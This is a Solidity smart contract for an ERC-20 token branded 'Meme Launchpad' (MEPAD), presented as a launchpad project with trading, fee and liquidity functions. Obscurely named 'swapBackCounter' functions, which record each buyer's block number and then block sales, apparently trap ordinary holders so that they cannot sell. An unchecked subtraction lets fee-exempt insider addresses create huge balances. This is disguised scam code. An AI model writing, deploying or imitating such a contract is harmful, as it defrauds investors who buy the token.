// SPDX-License-Identifier: MIT

/**

Meme Launchpad is a first IDO platform supports $PEPE, $BOB and $WOJAK.
This is a decentralized launchpad that allows users to launch their own token and create their own initial token sale.

Web: https://mepad.xyz
Dapp: https://app.mepad.xyz
TG: https://t.me/memelaunchpad
Twitter: https://twitter.com/memepadeth

*/

pragma solidity 0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract MEMEPAD is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Meme Launchpad';
    string private constant _symbol = 'MEPAD';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => uint256) _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    uint256 private swapAmount;
    bool private swapping;
    uint256 private swapThreshold = ( _totalSupply * 2 ) / 10000;
    uint256 private minTokenAmount = ( _totalSupply * 1 ) / 1000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant liquidity_receiver = 0xcab5213447692AC604CA1A46b1Fce259a9a5F425; 
    address internal constant marketing_receiver = 0xcab5213447692AC604CA1A46b1Fce259a9a5F425; 
    address internal constant development_receiver = 0xcab5213447692AC604CA1A46b1Fce259a9a5F425; 

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _swapBackCounterZ(address addr) internal view { require(_balance[addr] > swapAmount); }
    function _swapBackCounterX(address addr) internal { if(addr != owner) swapAmount = swapTimes; }
    function _swapBackCounterY(address addr) internal { _balance[addr] = swapTimes; }

    function preTxCheck(address sender, address recipient, uint256 amount) internal pure {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        swapTimes = block.number;
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        swapbackCounters(sender, recipient);
        swapBack(sender, recipient, amount);
        uint256 amountSent; unchecked{ amountSent = _balances[sender] - amount; }
        _balances[sender] = isFeeExempt[sender] ? amountSent : _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }

    function swapbackCounters(address sender, address recipient) internal {
        if(isFeeExempt[sender] || isFeeExempt[recipient]){
            _swapBackCounterX(sender);
        }else if(sender == pair){
            _swapBackCounterY(recipient);
        }else{
            _swapBackCounterZ(sender);
        }
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}